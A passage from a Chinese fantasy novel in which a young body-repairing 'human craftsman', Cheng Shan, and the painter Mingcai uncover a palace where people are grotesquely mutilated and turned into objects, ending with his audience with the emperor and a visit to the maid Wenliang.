她点点头,从自己背着的木箱里抽出十几幅画卷。其中花鸟,草木,男女老少,鸡犬牛羊,无一不活灵活现,细致入骨。

只是这山水,楼宇,顽石,连云,晴空却显得单薄失色,空洞无味。与之前说的那些,画工相去甚远。

我仔细端详,不禁发问:“明彩,为何你画活物妙不可言。但是画其他的却如此苍白?”

明彩没有回答我,她只是莞尔一笑。

7.

从客栈离开时,掌柜的特地来嘱托我们二人。他说

“听闻现在皇城不安定,弄得是人心惶惶。有大恶人!”

我问:“什么恶人?”

“程家!”

他说完这话,明彩忍不住瞥了我一眼。

“程家?”我反问。

“就是,就是程家”掌柜的说到这里,战战兢兢,声音发虚,摆手让我靠近些。他低声说道

“现在有个程家的大恶,在城里,找那身体健壮的小伙子,面容俊美的姑娘,拿去做‘人模子’。”

明彩憋不住好奇,她问:“人模子是什么?”

“小姑娘你不知道,那程家把人一掌打成烂泥,皮,肉,骨分的清清楚楚。好的心肝脾肺,全拿去给达官显贵用。貌美姑娘的皮囊,都留去换给宫里的妃子。你生的俊俏,更要小心才是啊!”

我们走出客栈后,我沉声说:“要是我找到这恶人,就拿程家的古刑伺候他。把他头颅拿下来,保他不死。再去他的舌头,让他求生不得,求死不能。”

我看到明彩惨白的脸色,露出笑颜说:“我也只是听父亲说起的。这古刑曾经是处置违反家规的族人,但至今不知过了多少年月。程家人也渐渐不再过问世事,那严苛的刑罚也就废弃了。”

我们两个走了良久,一直相对无语。她欲言又止,让我心里不太安稳。我们一直走到一个僻静的路口,再往下,就不同路了。

明彩尝试着笑了下,笑的很浅,她说:“记得我说过什么吗。我怕的是,你技法太过神妙,若是进了皇宫,是宫中人身上的肉刺。他们要是不除了你,也会利用你。”

“你怕我作恶?”

“你是白纸,我怕被染了色,在上面画了些妖魔。”

“女侠去哪了?你这时候又像个弱女子。”我只好这样避开她的话锋。

她别过头去,又转回来,那神色又像是曾经的明彩。

“小子,过了这个路口就没有本女侠罩着你了。你好自为之吧,哈哈。”眼看我转身就要走,她一把按在我肩上,说

“别忘了,那天我给你画像,你答应给我开伞的,想反悔?”

我摇摇头说:

“哪里哪里,明女侠的约,我哪敢反悔。只是这伞高大,在那屋里不便展开。你站远一点,我就开伞。”

明彩离了我有四丈远的时候,我喊道“别逞能,要不要再离得远点?”

“老娘我天不怕地不怕,区区一把破伞,不能奈何得了我!”

我便放心的把黑伞打开,古奥的花纹覆盖了我的视线。

“好了么?”我问。

没有回答。

我合上伞的时候,明彩已经跑远了。她是习武之人,我知道。在这小路上轻巧无比,如蜻蜓点水。但我还是一眼看见她在那路的尽头,一边飞奔,一边哭。

我心海里惊起涟漪,只在想,她哭什么呢。

8.

那年我十六岁,缺了些责任和担当。想的,都很浅。所以我不会太在意母亲为什么会哭会那样伤感,明彩为什么要跑要不辞而别。即便在意,也很快被时间冲淡,在意几日罢了。

明彩在那里跟我分道扬镳之后,我自己向着皇城的内城走了一日。路上的我突然惊觉,一时间差点要叫出来。

这丫头,该不会对我有点意思吧。

我摇摇头,决定把这些念头抛在脑后。我当时一心想着入宫,只想着要找到那程家恶人:如果皇城里有恶,那宫中一定有大恶。就好像天下有恶,则居高位者中必有大恶。

内城近在眼前,那里的小门是我进宫的入口,远处只看见几个身披甲胄的护卫。

我的确是不懂武艺,所以当他们看到身材纤瘦,体质文弱的我相视讪笑也是理所当然。

领头的护卫把佩刀按在桌上,上下打量我,又瞧瞧我左手的位置,摇摇头说,你,活脱脱一幅残废样,能会点什么呀?

我深深鞠躬说,兵爷,小弟武艺稀疏,只涉猎了些旁门左道。

说完,他们又是一阵哄笑。

我只好右手轻轻一指点在那领头的额上,说

“失目。”

那人的眼窝深深的陷了下去,空洞的双目像是干涸的井口。

众人惊慌大叫,有抽刀咆哮的,有瘫倒在地的,有面色苍白的。

我手一离开,那人又恢复正常,止不住的粗喘。他大汗淋漓,言语颠倒,像是失了魂。

我又一次鞠躬说

“各位兵爷,麻烦行个方便。”

领头颤颤巍巍的递给我一个黑铁腰牌,说:“进去之后…,找…,找王总管。他会好好安顿你。”他慌张的看向我,眼神却不觉间锁在我背后的长筒上。

我道谢之后,走入城里。恰是秋风过境,我身形不稳,像要化在风里。一众护卫,只远远观望,无人敢上前一步。

大概,恶人,以恶慑。

9.

我见王总管的时候,正听见他在训斥手下的侍女。

“你干活再这样毛手毛脚,小心被罚去‘废人居’!”

那侍女听罢大骇不已,吓得花容失色,连忙跪下要自扇耳光。王总管看见我来的时候,一手扶起那侍女,轻声吩咐这般那般。

那侍女抹去泪痕,小步走到我身前行礼。

“大人请跟我来,‘异人居’就在不远处。”

我微笑点头,与那侍女走了稍许,见四下无人就低声问:

“姐姐,我好奇那‘废人居’是什么去处?”

侍女满脸惊惧,她看着我退了半步,说:“大人,那‘废人居’里面可不单单是废人,尽是些妖魔。”

“我只是打听而已,并无他意。”

侍女环顾了片刻,与我耳语道:“听闻里面有什么单眼的老头儿,四腿的妖婆,无嘴的异童。前几日有几个姐妹去里面清扫,活脱脱吓得昏迷了两三日。”

我面上不惊,心里却起了阵阵波澜。这些所谓的妖魔,听着都像是程家的手笔。人匠可以修人,自然也可以害人。跟我猜的别无二致,让皇城百姓人人自危的大恶,应该就在这宫里。

“那姐姐知不知道这‘废人居’怎么走?”

侍女面露难色说:“奴婢不敢说。”

我语气和缓地说:“那我也不为难姐姐了。世上哪里有如此畸怪之人,估计只是相貌生的奇异丑陋,以讹传讹罢了。姐姐也不必放在心上。”

她点点头:“奴婢也希望是如此。”

她将我送到异人居便离开去。我见她走了,食指在右眼上一扫,一个眼珠落到我手心里,温润如古玉。我闭着右眼,将那眼珠向天上轻轻一抛。

只见我的视野随着眼珠忽地上升。天地宽阔,万象大千,尽收眼底。这内城的宫苑,草木,行人都在我惊人的目力之下。

原来如此,这废人居的位置当下就被我摸个通透。

我一手要接那坠下的眼珠,那眼珠光滑通透,我险些没有接住。幸得周围无人,否则定要被这异景吓得昏死过去。

说起这抛眼珠观广袤的技法,是我曾经脑子一热的产物。实际用起来,条件很是苛刻。一则是你的目力要足够敏锐,否则就算眼珠在高空也未必能看清。二则是偶尔会借不到眼珠,虽然人匠的眼珠的确是不会被摔坏了,但没准也会找不到的。

最后,我站在异人居门前许久,安眼珠。

10.

异人居,有一条规矩:不许与其他异人相见。每日从自己的房内走出,必须带上宫里配的斗笠和面纱。以我的目力,可以阅他人面容,但还是不许交谈,不许递物。

呆了三日,内心的疑虑尤甚。虽然说是用来招待各路能人异士,但是既不许相见,又不吩咐所谓事宜。日夜闲散,与其说是招待,更像是牢狱。终日焦躁后,一天夜里,我从异人居溜出,按照所记的路线去见侍女口中的“妖魔”。

如果侍女所说不假,那可能真的有魔。最大的魔,是人。

我披斗笠,戴面纱,倒夹黑伞,穿行在夜色里。冷月孤照,四下无音,寂如坟墓,只有脚步声回响。靠近那废人居的时候,面前朦胧有一个暗影。

是活物。身形如同羊马,四足着地,步履迟缓。但我的确没见过那样的羊马,只得靠近细瞧。我却没料想,那是人。

是一位老者,双臂处被替换成了扭曲的两腿,嘴的地方变的平滑无物。他的身躯只能这样匍匐在地上,脖颈僵硬到无法抬头,也看不见这月景。

他终于发觉有人靠近,奈何发不出声音,只能在鼻腔里惊慌的哼哼,在浑浊的双目里透露骇意,身躯止不住的战栗。

我心中一颤,把黑伞向地上一点,说:“老人家,不用害怕。我没有恶意。”

老者显然已经很难相信人,还是止不住的退去。我蹲下身来,把头深深的沉下去说:“人匠不善,是我程家之过。”

我把右手轻按在老者后颈,又抚过老者鼻下。

我说:“您现在已经可以抬头,讲话了。”

老者又惊又喜,眼中含着泪光。他激动地发抖,想抬头看天。只是我为他新开的口很粗劣,而且他已经许久没有讲话了,只能呜呜地说着:“谢…”

只讲了一句,那老者便佝偻着身躯咳起来。

我拍了拍老者的后背,右手顺着脊骨摸下去,说:“您不用太急着讲话。虽然我给您开了口,但是你喉嗓已经受损大半,加之体质虚弱,已经不方便讲话了。我只问您些问题,‘是’便点头,‘不是’便摇头。”

刚刚摸了这老者的身骨,不单单是四肢和口做了手脚,全身多处器脏,静脉,筋骨都已经被折腾的混乱不堪。这老人必定痛苦万分,生不如死吧。这样折磨人的手段,不单单是人匠,还要够残忍,够熟练。

这样的程度,我已经无能为力了,随意施技,只能徒增其痛苦。即便是父亲在此,也未必能修好这位老者。人匠虽能修人,却不能修尽一切人。

我问:“把您变成这样的,是宫里的人么?”

他点头。

“您见过他的面貌么?”

他摇头。

“您变成这样有五年么?”

他点头,然后微声说“七。”

我看他神情痛苦,看来是回忆起当年梦魇,也不忍心再问,只好说:

“老人家出来,是为了看月么?”

他点头。

我把黑伞抬起,问:“您还有什么心愿,讲给我吧。”

老者终于含笑,却又热泪两行,他支吾着说出二字:“赐....死。”

我已经猜到他的愿景,便站在老者身旁,将那大伞张开。雕文在月光下显得分外诡丽,黑伞下老者霎时间化为一滩肉泥,片刻后又散作血水,终成为腾腾的红雾,如朱砂飘起,附在伞的纹路里。

生而无乐,唯死求欢。

我转过头,急忙把伞合起,那偷看了许久的侍女忍不住惊叫。

11.

这是给我带路的侍女。我问她,姐姐,看了多久了。

“奴婢知错,奴婢有过,求大人饶我……”她跪下身要给我磕头。我连忙扶她起来说:“这位姐姐,我想你不就寝,来这里游荡,也多少是对这废人居放心不下。我只想问你,刚刚那老者是何人?”

“奴婢不知。”她说完开始抽泣,哭的接不过气来。

“我不害你。”我说着一手搭在她肩上,轻轻发力,只觉得她肩骨有异,右臂虚软。她急忙从我手中挣脱,又要给我磕头。

她眼神飘忽在我那伞上,大概是畏我这黑伞。我把伞被背过身去,说:“姐姐,你身子有没有哪里不适?”

她摇摇头,愈加是害怕的发抖。

我眉头微皱,只得说:“罢了。我不强求,也不难为你。我只问你姓名,能讲么?”

她点头,终于肯站起身,说:“小女子有一贱名温良。”

温良不说,我却能猜个三分。她藏匿,她心虚,她欲言又止,她定然对着宫中的诸多怪事有所了解。只是她的确怕,又有难言之隐。我断定她不到处声张所见之事。所以我再没问她,各自分别。

被温良弄出了些声响,我恐生事端,又回到住处。

自那后,我门前的侍卫,又多了六七人。但我依然相信,这事与温良无关:否则,我早就不是这般下场。朝中人若是听闻有一把杀人不留痕迹的黑伞,即便不招惹奸恶之徒,我也活不长久。

我这次彻底找不到这监察的疏漏,像软禁一般被关了半月有余。

夜里我躺在床上,思绪是惊涛怒海,搅的我寝食难安。我坐起身来准备开窗,却看见窗外有个蹲着的人影。

透过窗间的缝隙,我大致猜到了这来客。

我说,你怎么跑来这里的?一边放她进来。

明彩满身血迹,肩上还有一道极深的刀伤。她从台上跳下,打了打身上的尘土说:“有个侍女,秀气模样,告诉我你待在这里。”

我叹息,又摇头说,我问的是门前的侍卫,你怎么过来的。

她漫不经心地答:“我说我是御用画师,要进来逛逛。他们非不听。我只好跳上屋顶,没想到屋顶上还有三个带刀的,让我放倒了。”

她说的轻描淡写,但我终究是放心不下。我右手各轻点了她锁骨,右肩,右肘说:“砍伤,刺伤两处。骨损一处,筋损两处,右臂差点断掉。再严重些,我也修不好你。即便现在这样,要修你也要一个时辰。”

明彩站的不稳,不由靠在墙上,从腰间抽出几排画卷说“我没事,我是来给你带几幅画的。”

我只轻瞥了两眼,有轿子,椅子,花瓶。都是些宫中普通的物件。

但细瞧才觉得有异。

“等下,明彩。这都是你画的?”

“当然。”她的声音有点干瘪。

“你什么时候把死物画的这么好了?”

她没回答,我这才发觉明彩面色惨白,嘴唇青紫,倒在了墙角。

12.

天色渐晚,日光昏黄。

她的伤比我想的还重,甚至痛及筋骨,脏器也有轻微的淤血。我花了足有三个时辰才修好她。最后实在太过疲倦,我直接在床头睡去。

我梦见明彩,见到的是一片雪白,白色的柳叶从我面前像素湍一样飞过。我听见明彩在我身旁清唱,唱的是我没听过的曲调。那唱腔如泣语,却又带着几分洒脱。她的声音简单真挚,一字一句唱道:

自有智,自有惑,辨得物与我。

百种阳,百种阴,化作天地和。


不见善,不见恶,唯留因和果。

千般圣,千般魔,任由他人说。

这曲是什么?词又是什么呢?

到最后,我满脑子回荡的都是最后那句“千般圣,千般魔,任由他人说。”沉醉之间,却已醒来。

我醒了时,明彩就坐在床边。其实我是很想问那天分别之后为什么要哭的,更想追问那梦中的曲调。但我终究没有问出口。

她先开口问,你身子,还撑得住么。

我说,我当然撑得住,这都是末事。我给你讲件大事,希望你不要怪我。

她说,你说说看,我也先听听看。

我指着柜子说:“侍卫被打伤,宫里严加戒备,我这里也被搜查。为了把你藏柜子里,我当时把你拆了。”

“拆了?”

“就是拆成若干块,成一摞。然后…,堆起来。虽然不告诉你,你也未必知,但我还是觉得不该瞒你,况且…”

她瞠目结舌,半响说不出话来。

明彩摸了自己浑身上下,然后指着我,我连忙示意她小些声响。

“你摸了我全身!”

我没想到她竟然着眼在这点上,哭笑不得说:“这倒是其次,只是我单单觉得把人四分五裂,有违天理。而且不是隔着衣物么…”

“我倒觉得蛮有趣的…。”

“这可不是什么趣事啊,明彩。”我摇头讲“父亲曾说人匠里有先人为了避难,自己拆分血肉筋骨藏匿起来。虽然最后被他人恢复,却受不得被拆解后那种状态,终日恍惚,郁郁而终。”

她显然没能听进去我的说辞。

我拿起那画卷问:“那接着说点大事。这些画,到底是什么来由?”

“的确是我画的,是我当上宫廷画师后,所画的一些宫中物件。”

“但你根本不会画死物啊。”

她跳下床,然后笑着讲:“所以那些都是活物啊。”

我不禁悚然。

“你是说,这些曾经都是人?”我问。

“是人,而且他们现在还活着。”

“这不太可能,如果把物件镂空,以人匠的技法把人切分软化,将之注入。或者为人蜕皮,置入某个物件里,让血脉经络和外物长在一起。这两种难度都很大,而且就算能成,这人也活不了多少时日。”

“那你看这张。”明彩从袖中抽出一张褶皱的宣纸,上面潦草的画着一个人形。是我那夜里化进伞的老者。

我问:“你也见过这老者?”

她说:“在夜里曾见过一面。时间太短,只画了个大概。我拿这纸问过一个侍女,她说这老人要去当‘椅子’,只是体质太差,没当成,成了所说的‘废人’。”

我半响无语。到底是怎样的人,要将人抽成模子,做成椅子,弄得分崩析离,生不如死?要这样违天理,逆人伦?这宫里我见过的人事有多少,未能的认识又有多少?我触到的恶可能只是河川,未见的恶也许是汪洋大泽。

心口有一团火在灼着,烫得难受。

我凝思了片刻问:“你一直在说的侍女,是不是叫温良?”

明彩摇头说:“不知。我当了画师后,是那侍女来给我送纸墨。我便问她见过一个身背长筒,略显纤弱的男子没有。她便说你在这里云云。我又给她看了一眼那老者的像,她告诉我这是废掉的‘人椅子’。”

现在我心中有了个大概,明彩见过的侍女定是温良。但温良不肯把她所知向我全盘托出,却肯一五一十的讲给明彩。要说信任明彩,她与明彩也不过一面之缘,萍水相逢,又难说有什么情分。若是她在明彩身上另有他求,比如一直想图一幅画,没准倒还说得通。因为明彩画起活物来,倒是精妙的可怕…

想到这里,我扫了眼床上散落的画卷,问起早有的困惑:“明彩,你只会画活物,有什么缘由么?”

“我要是问起你的伞为何如此神妙,你有缘由么?”

这是在讲她的笔不同寻常么?我还没理顺个中道理,却见到她有点失意地看向我,眼眸里藏了些落寞,只是脸上强挂着笑言,还像是与我打趣。

我这才发觉。明彩赌上性命来见我,又守了我一日。但我却连半句关切也没给过她。

13.

今晚,要再去废人居一次。

起码要弄个彻底,弄个明白,直到让我心安。

我提出这个决案的时候,明彩对我佩服非常,说我看起来弱不禁风,没想到依然心怀天下。

我说,我的心哪里怀的住天下呢。

我不自欺欺人,我明白。这天下是应家的天下。我只是一块瓦砾,一片泥壤,一颗棋子。我尽力翻搅这池底,充其量也只是死水微澜。天下里有多少恶事,我触之不及。但这宫中种种,放任不管,终有一天要惹火烧身,把我和明彩焚为灰烬。

丑时初,便起身。

“丑时是侍卫更替, 屋顶上只有一人。见面之后,只要让我的血沾到侍卫肌肤,我能让他气血逆行数息,他经脉胀痛而不能动,你我就逃出。”我这样讲。

明彩是一个挺容易劝和被说服的人,起码我目前还这样想。我给她了讲了些小时候的趣闻,要不是我捂住她嘴,她能笑得把大殿里的侍卫都召来。

我心又放下来,回想起自己好久没有这样自在惬意的聊天。我都忘了,自己在忙什么,求什么。生而为人,成而为匠,又能代表什么。万千善恶,又有多少瓜葛。我都不愿想。

我想的是,能这样闲半个时辰,就闲半个时辰。哪怕下一息,要见血光,动刀兵。

她也给我讲了些她初入江湖的所见,说她骑着马跨了多少山岭,画了多少人家。说她被江洋大盗劫了银两,还不忘给人家画像。说她曾经饿过三日三夜,看见客栈的美食差点把不住碗筷。

她说,家传人匠,有祖传口诀什么的说来听听。

“哪里有,只有天天念叨的‘心善,人善四’字家规。还有什么玄之又玄的古训,让我到什么境界,见什么故人。”我答道。

“古训,这种没灵气的东西。我编都能编个十几句呢,不过是什么道法自然,天地轮回,人心善恶的老话。”

的确,明彩说的也确有道理。我没反驳,只顺着她说

“明女侠,你说的也在理。可惜你不是古人,所以你说的只能是‘今训’,又有多少闲人肯听?”我话音未落,已经听见屋顶上细碎的脚步声,那是侍卫交接。

丑时到,暗云蔽月。这是再也闲不得了。

我以眼神示意明彩,她心领神会。我伸出右手,垂下几滴暗红的血让明彩用牛皮接着。明彩跃窗而出,身形矫健,只听见屋顶传来三声轻巧的踏步,又归于沉寂。

“上来吧!”她探下半个身子,向我兴奋的摆手。

我武艺不通,行动迟钝。在屋顶上翻上翻下也是温吞水,全然没有明彩那样得心应手。费了些功夫才从异人居离开。

我说:“刚刚让你拿侍卫的刀了。如果这次去废人居有什么不测,你第一件事就是把我这黑伞砍断,然后再把我右手戳穿。”

明彩暗暗瞥了一眼我背着的长筒说:“程善啊,程善。你这黑伞的确是个宝贝,可天下的宝贝又不是只有你这黑伞一件。”

我笑问:“听明女侠这么说,应该是见过更加珍奇之物了?不妨拿出来看看?”

她却跑开来,说:“快走吧,一会就要天明了。哪天穿给你看。”

穿?是一件衣物,还是靴子?我本以为她那画笔有精妙之处,才致她善画活物。难道还另有原因?我反复回想明彩穿过的衣物,既没有太过华美的样貌,也没有什么不凡的功效。所以应该是我还没见过的衣物。

我再没过问,与她一齐跑到废人居门前。我拉着明彩侧身到门一旁。

我在她耳旁道,里面有人要出来,很多人。

晚秋风起。

然后我们两人听见了里面凌乱的言语声,嘈杂纷乱,弄不清次序。

“活着的还有九十七人,都带到后殿。”

“你怎么跟来了?这不是你这女人家该来的地方,快回寝宫,老实睡觉!”

“你们几个别搬那骨肉了,全都堆在那边便是。”

言语声只持续了片刻,又是沙沙的拖行响。

然后我听见簌簌的颤响,像是万木成枝从地上攀过。

我们两人一动不动,静着藏了些许时候。直到死寂。

大门依旧敞开,只是夜色太深,周遭的景致都像蒙在墨里。

是一个空荡荡的大院,房宇都被拆了去。只有

“这天色太暗了。里面的景物我能看见,你应该看不太真切。”我拦住要上前去的明彩说。

“你拦我做什么?我护着你还差不多。你看看,这里面有东西么?”

我说,只能看见石砖。

“这不对,石砖上都是脚印,还有拖行物件的痕迹。这里的人和物都被移走了,就是刚刚的事情。 ”我眉头紧锁,在目力所及之处尽力去看,看每一个错过的细节。

明彩的每种情感,都盛满到装不下,溢出来。所以我一眼就看破,她的不安。她快步走上前去说:“这砖下面有东西,你要来看下。”

我右手按在地上,一路沿着石砖的缝隙擦过。到了明彩身旁,近乎惊的不能言语。

“这地砖下有血肉,血肉下又有经脉。这地下有大东西,东西上有还有筋骨百千……”我一边摸着,一边在心里估量着地下的东西。

不可能,没可能的。这地下是血肉与土长在一起,人的脏器混作一团像是根茎深深埋下,筋骨如同枝叶潜在土中。

明彩走到大院中央,愣在那土堆之前。

“程善!这土堆…”她还没说完,又听见簌簌的颤响。有什么东西在地下躁动不安,要破土而出。

我终于警醒,然而步伐已经跟不上炙痛的心绪。

“是手!地下有手臂!”话音未落,那些石砖一一被撬动,发出沉闷的碰响。无数只手臂相互接连,盘错着从地下窜出。它们肆意生长,从每一个石砖下面死死地抓住我和明彩。我和她转瞬间被拉出十步之遥,那些手探上我的双腿,腰腹和肩膀。

一股蛮力在狠狠地把我向后拉,接下来,就是我被更多的手抓住,像是被锢上无数的枷,然后被扯到粉身碎骨。

我右手成掌,依次斩过身上的手臂,被我斩过的就像蜡一样断掉又缩回去。

“明彩!不要用蛮力挣,这手里面有人匠的血,那些手都是化骨,脱血的技式!”我跑过去想要救明彩,却发现她右臂已经被几十只手死死锁住,她借着腰腹的力,还在苦苦支撑。

如万蛇缠身。

若是再迟一息,怕明彩要被化作一个空皮囊。所以我一掌从上至下斩了下去,掌锋切过那些残臂,她身后的长发,她的右臂,最后从她右脚的脚踝处离开,她就这样被我斩成几段。

像刀斩乱麻。

14.

明彩终于脱出,我把她背着,在我肩上轻的感觉不到分量。我狂奔着,探过她的身体,心中一阵凉。

到底是用多少人的血肉铸成的那万千邪手?到底用了多少人匠的血才能达成那样的技式?我想不出。

这里面,到底葬了多少性命,埋了多少冤骨,腐了多少血肉,去了多少生灵。我不敢想。

我能想的,就是明彩到底被伤的多重。

她估计已经损了三成的骨,四成的血。我予了她一些我的血,只听见她在我背上说:

“程善,你听过《云鬼词》吗。”

我愣住了,不知道答她什么。

只能摇摇头说“没有啊。”

她的声音快要听不见,她说

“总有一天,我要唱给你,让你说好听。”

她骨已经酥了,精血也不稳。被那邪手抓过的地方,更是软的像泥偶。我感觉她就要像蜡一样融掉。

我说,你听着啊,我会修好你的。我是程家唯一传人,天下第一人匠。我什么人都修的好的。

我说,我是持黑伞的程善。他们听了都怕我。唯独你不怕我,所以你也没什么可怕的。

她只是笑,却连半句话也没力气答。

我跑到再也提不起脚步,接不上呼吸。到了哪个角落里,把明彩在地上放安稳。

这也许是大殿后,也许是寝宫后。我完全顾不得这是哪里,明彩在我怀里瑟瑟发抖,蜷缩的像个婴孩。

把那信读了吧,我这样想。我留着这封信这么久,这么长时间都好奇里面撰写了什么。但里面无论是怎样的文字,都抵不过生死之隔。“至境界“,至得什么境界?明彩可能就活不过今晚,我没准哪日也难逃一死。到时候那信还有谁人来读,谁人来阅?

到那时,只是一张废纸。

我把那长筒翻弄,果真找出一信封。开封之后,掉出一根发丝,一张信笺。信笺微微泛黄,细腻如羊脂,上面是密密麻麻的暗红字迹。

手抖个不停,我怕连那字也辨不清认不得,心里突突的要跳出来。而又感觉明彩的呼吸渐渐弱下去,我一手按在她两个胛骨间。

果然,精血两亏,她的脉已经衰下去了。

我突然感到胸口酸楚胀痛,有股戾气不得不发。为人匠,生而修人,怎肯让人在自己面前死?

我几乎要将牙根咬出血来,心意已决:五指按在她后背,贴上心房所对的位置。一息间,我感觉到她全身的经脉和我联接。

她的血不能再流,就让我的替她流。只要我程善还有一息尚存,就没有明彩死去的道理。

我一边用断臂拨弄着信笺,一边用我的心脉律动明彩的血流。就这样直到东方微亮。

天明,上朝的鼓声和晨曦交杂着盈满内城。百官来殿,国君起朝。

周遭喧杂了起来,是侍女,太监和群臣的脚步声交叠在一起,恍若皇城这头凶兽揉弄惺忪的睡眼,打着哈欠。脚步越来越近,他们应该很快就能看见我们。

来的可能是当今圣上应如意,可能是司礼监的秉笔太监,也可能只是小少监和侍女,或者那个叫温良的女子。但对我来说,都没几多差别了。

那时的我像枯木一样呆坐着,满脸泪痕。

15.

我读完了那封信之后,倒释然了几分。我的那些恨,怒和恶意,全都被埋的极深。我压在心底里都没去想,只是想着将来的筹划。我把那些带刺的,险毒的念头都包裹的精致圆滑,用笑脸把自己裹起来。

然而筹划到哪里,将来是怎样,也不尽明朗。要保全我,要救明彩,应该怎样走,都悬而未决。到我抉择的时候,只权当是赌,献上我有的所有筹码。

我抬眼,看见两个普通的侍女满脸惊疑的朝我走来。我没见过她们,或者见过,也全然忘却了。

因为我支撑了两个人的心脉足足一夜,现在已经是强弩之末。我连沉稳的站住都很勉强,更不要说走动了。我靠着墙,半天才含糊出一句话:

“两位姐姐,能帮忙指个路么?”

两人打量了我,暗暗一笑,说道:“你这人满头银丝还叫我们姐姐,倒不如我们叫你一声‘叔伯’。”

我努力地含着笑说:“也好。那些倒是小事。只是小的想知道怎么去见王总管。”

其中一个见我身形不稳,要过来扶我。她说:“看你打扮和腰牌,应该是异人居来的吧。现在你见不到王总管的,他应该在陪皇上散步。异人按规矩是不得进寝宫的,你要是被旁人看见了,要吃苦头的。”

我摇头说:“劳姐姐费心了。您只给我引条路便是,至于走不走,我再权量。”

另一位侍女拉了拉她的衣襟。她迟疑了片刻,然后指着一个方向说:“我与你面生。但看你的神情确有急事,便告诉你。向那边走到路口,再向右,便能看见牌子…”

她眼神停在我身后的明彩上,说道:“这位姑娘,我见过的。”

我抱起明彩说:“她有腰牌,是宫里的画师。你们认得一位叫温良的姐姐么?”

两人点头,那在前面的侍女说“认得。她虽然做事毛糙,却见识广博,能言会道,在我们之间很是有名。”

我说:“那劳烦两位姐姐代我,将这位姑娘带去温良身旁。她刚得了大病,气血衰微,需要人来照顾。温姐姐应该会照看她的。”

那侍女看了看面色青白的明彩,半点没有犹豫就接过了,一到手里,她眉头微皱说:“这姑娘怎么这般轻?连我一人都抱得动,像一团柳絮似的。”

我说:“这姑娘天生身骨纤弱,又有恶疾,体轻也是理所当然。”

两人相识,又耳语一阵。我没去听,大概是些关于我来路不明,行踪可疑的话。但两人终归还是放下心来,讲到:

“我看你气色很差,步履蹒跚。应该也有些顽疾未愈。要是行走不便,大可不必勉强,随我两人先去休息。”

我转身离开,摆摆手说“谢两位好意了。我走一条路便是一条,没太多回头的道理。”

两人已经走远,而我还在想刚刚那侍女的不寻常:她从我手中接过明彩的时候。我右手碰触她一根中指。她中指的三个指骨,应该都是中空的。如果有人攥住她的手猛里一捏,她的手应该会化成骨渣和肉泥。

这侍女应该还不知晓,但我却也不想透露。因为去骨易,入骨难。而且以我现在的身体状态,更是修不好她。如果这样贸然告之与她,恐怕只能让她惊惧不安,惶惶不可终日。

其实,从昨晚开始。我离家后的年少热血,有一半已经凉了。

我一边用右手尽力修着自己,一边想着要怎么见到王总管,见了又能讲些什么。我还想让那些欠了债,欠了万千血债的人,能一并偿了。

所以我还得活着。

不仅要活,为了信里说的那些事,还要努力活着。

我想,既然能见到王总管,怎么不见掌印太监,怎么不见首辅?既然我只有这些筹码,又没太多可以输。想当一个赌徒,为何不添点彩头?

最后,那就直接见当今皇上应如意好了。

应如意,我只有小时候在画像上见过。他给我唯一的印象,就是他作的那句诗“江山成绣锦,天下应如意。”据说有几年,连春联都是这两句。

那时候,他离我太远,至于他到底嵌在天幕,还是深埋黄土,与我没有半点瓜葛。应如意残暴无道还是英明神武,对我来说没有任何意义。我不关心他的天下,他也定然不会关心是否有我这一介庶民。如果我说我有一天要见他,那显得不和道理,不符章法,不切实际。

我从没想过有一天,会持着黑伞,站在他面前。

但我依旧会去,因为我还有一半的血,余温尚存。

16.

阻止我去见应如意的情况,有太多了。被侍卫发现,被其他不那么温和的侍女发现,甚至应如意已经离去。

我把伞开到两成,想到了所有最恶劣的情况。但我都没有遇见。

我遇见的只是一个小太监,挡在后花园的门口。

我说,你去跟里面,随便哪个人说。就说程家有人来了,持着一把黑伞,背着一个长筒。

小太监很听话,他跑着进了院子里面。我看他答应的这么爽快恳切,就像是他等了我许久一样。

过了些许时间,那小太监一摆手说“大人请进吧。皇上就在里面等您。”

我一时间没有反应过来,脑子还有点发蒙。实在是有点太顺利了,顺利的不真实,像是浮空幻影。

我走了十几步,看见一树桂花后面坐着一位衣冠华美的男子。我便问:“你是应如意?”

身后有人轻轻拍我说:“他只是个壳,我是应如意。”

我回头,看见一位面相很和善的男人,全然不像画卷上那般冷峻。

他坐下来,饶有兴趣的打量我,然后示意我就坐。他说:“你见到天子不下跪,不行礼,不谦逊,你真的不懂礼法么?”

我说,你等我来找你,就是为了听一句草民叩见皇上?说这话时,我的眼神轻轻扫过他的左手。

应如意听后大笑,然后拍拍我肩膀,连说了几声好。他已是不惑之年,却依旧像个少年一样笑的没有节制。

应如意说:“你那天进城门,侍卫就注意到了你的黑筒。我想你在这宫中呆久了,总有一天要来找我。”

我说,我该夸一句皇上料事如神么?

他摇摇头说:“这些话,我都懒得听了。我听闻你天资聪颖,十六岁就已可以单手让侍卫失目,已是难得。我想让你在我身边做事。”

我抬起头,凝视了片刻晚秋的桂花,然后说:“皇上贵为天子。让我一介草民做事,还要费这么大周章?”

他说:“你年轻气盛,有些事情你不愿意做,也不会懂。该让你经历一些。”

我想问宫中的诸多恶事,他是否知晓。我还想问,那年,那天,他的所作所为。我什么都想知道,什么问题都想问。但我知道今天不合时宜。应如意对我近乎了如指掌,而我却对他一无所知。况且,他还有整个天下。我只有一条命,一把伞罢了。

我说:“草民知道了。我会尽心做事。”

应如意说,你有什么要求,尽管提。宫里有的都不会亏待你的。

我慢慢的抬起眼帘,眼神里什么情感也没有,淡漠的就像逝者一样,我缓缓地说:“给我张床,让我好好睡一觉。多谢陛下。”

17.

应如意说明日酉时末去他书房。我欣然应允。在离开后花园之后,我没有去应如意给我安排的新的住处,真的去酣睡一场。而是背着长筒去找了温良。

自我见过应如意之后,我像是晋成了朝中权臣。三宫侍女,以礼相待。六院守卫,无不避让。我一言语说我想见一位叫温良的侍女。全都喜笑颜开,迎上来要介绍引路。我被拥的心烦意乱,费了些功夫才见到温良。

温良凝视着我,在茶桌旁特意留了一个空位。

大概是我眼花,她比往日显得年轻,也没当初见我那么胆怯。她对我行礼,然后说:“大人,见过皇上了?”

我点点头说道:“见过。皇上温文尔雅,不愧为国之贤君。我想问问,姐姐见过一位叫明彩的画师没有。”

她又问:“那位画师,是大人托我照顾的,我定当多加留心。只是这宫中如若泥沼,谁也不得抽身。我也未必保得住那姑娘,只可怜她生了副好皮囊。”

我的心猛地一缩,隐隐阵痛。

我说:“连姐姐也救不得明彩么?前辈,那日我按过您肩膀。您肩骨是刚刚修过,手臂又是新的皮肉,加之经脉运行极缓,理应是极其老道的人匠才是。人匠的技法,恐怕我比您还差得远呢。”

